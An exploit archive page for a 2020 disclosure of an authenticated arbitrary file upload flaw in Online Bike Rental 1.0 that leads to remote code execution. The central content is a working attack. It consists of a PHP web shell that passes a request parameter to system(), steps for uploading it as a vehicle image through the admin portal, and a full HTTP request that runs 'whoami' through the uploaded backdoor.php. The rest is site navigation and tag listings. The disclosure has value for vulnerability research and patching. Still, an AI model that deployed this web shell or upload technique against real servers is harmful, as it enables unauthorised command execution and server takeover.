

Search ...

Online Bike Rental 1.0 Shell Upload

Authored by [hyd3sec](#)

Posted Jul 31, 2020

Online Bike Rental version 1.0 suffers from a remote shell upload vulnerability.

tags | [exploit](#), [remote](#), [shell](#)

SHA-256 | [9d65a298b050a5b43708ca479a4d023a523e9e32c643aa86a173c413bd9ae026](#)

[Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twit

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Exploit Title: Online Bike Rental v1.0 - (Authenticated) Arbitrary File Upload / Remote Code Execution
# Date: July 31, 2020
# Exploit Author: Adeeb Shah (@hyd3sec)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 (x64_86) + XAMPP 7.4.4
```

Online Bike Rental has an authenticated (admin) arbitrary file upload vulnerability that allows for remote code execution.

1. Create a malicious PHP file with this content:

```
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
```

2. Authenticate as admin via admin portal; navigate to manage vehicles and upload malicious php. Navigate to uploaded file path to execute php code.

GET /bikerental%20PHP/bikerental/admin/img/vehicleimages/backdoor.php?cmd=whoami HTTP/1.1

Host: 192.168.222.132

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: style=purple; PHPSESSID=21poqi5jmbeiabqemraesot9nh

Upgrade-Insecure-Requests: 1

[Login](#) or [Register](#) to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (8,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other

SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

- History & Purpose

Contact Information


Terms of Service

Privacy Statement


Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed